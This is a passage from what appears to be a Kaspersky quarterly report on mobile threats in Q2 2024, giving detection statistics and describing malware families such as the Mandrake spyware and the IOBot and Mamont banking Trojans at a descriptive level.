• The most common threat to mobile devices was RiskTool software – 41% of all detected threats.
• A total of 367,418 malicious installation packages were detected, of which:
  
  • 13,013 packages were for mobile banking Trojans;
  • 1,392 packages were for mobile ransomware Trojans.

  
  

Quarterly highlights

The number of malware, adware or unwanted software attacks on mobile devices climbed relative to the same period last year, but dropped against Q1 2024, with 7,697,975 attacks detected.

Number of attacks on users of Kaspersky mobile solutions, Q4 2022 – Q2 2024 (download)

The decrease is due to a sharp drop in the activity of adware apps, mostly from the covert applications of the AdWare.AndroidOS.HiddenAd family, which opens ads on the targeted device.

In April of this year, new versions of Mandrake spyware were discovered. Distributed via Google Play, these apps used sophisticated techniques to hide their malicious functionality: concealing dangerous code in an obfuscated native library; using certificate pinning to detect attempts to track app network traffic; and multiple methods to check for emulated runtime environments, such as sandboxes.

A Mandrake app on Google Play

Also in Q2, the IOBot banking Trojan was found targeting users in Korea. To install an additional malware component with VNC backdoor functionality, the Trojan’s authors use a technique to bypass Android protection against granting extended permissions to apps downloaded from unofficial sources.

Mobile threat statistics

The number of Android malware samples fell against the previous quarter to the Q2 2023 level, totaling 367,418 installation packages.

Number of detected malicious installation packages, Q2 2023 – Q2 2024 (download)

New trends emerged in the distribution of detected Adware and RiskTool packages: the former significantly decreased in number, while the latter increased. Otherwise, the number of detections remains largely the same.

Distribution of detected mobile apps by type, Q1*–Q2 2024 (download)

*Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

Among adware, the number of HiddenAd, BrowserAd and Adlo apps dropped sharply, while the number of RiskTool.AndroidOS.Fakapp apps distributed under the guise of pornographic material rose. These apps collect and forward device information to a server, then open arbitrary URLs sent back in response.

Users attacked by the malware or unwanted software as a percentage* of all targeted users of Kaspersky mobile products, Q1*–Q2 2024 (download)

*The sum may be greater than 100% if the same users encountered more than one type of attack.

Despite the prevalence of RiskTool.AndroidOS.Fakapp installation packages, the number of real users who encountered this family showed no noticeable growth. In other words, attackers released many unique samples, but their distribution was limited.

The main changes in the distribution of the share of attacked users were driven by a fall in the activity of HiddenAd adware and a rise in the activity of two RiskTool apps: Revpn and SpyLoan.

TOP 20 most frequently detected mobile malware programs

Note that the malware rankings below exclude riskware and potentially unwanted software, such as RiskTool or adware.

The generalized cloud verdict DangerousObject.Multi.Generic returned to the top spot, and the cloud AI-delivered verdict DangerousObject.AndroidOS.GenericML also moved up. Also placing highly again were the Fakemoney Trojan, which scams users out of personal data with a promise of easy cash, the pre-installed Dwphon Trojan and modified versions of WhatsApp with built-in Triada modules. The latter include Trojan-Downloader.AndroidOS.Agent.ms.

The Mamont banking Trojan, which steals money by scanning text messages, saw quite a jump in its popularity.

Region-specific malware

This section describes malware whose activity is concentrated in specific countries.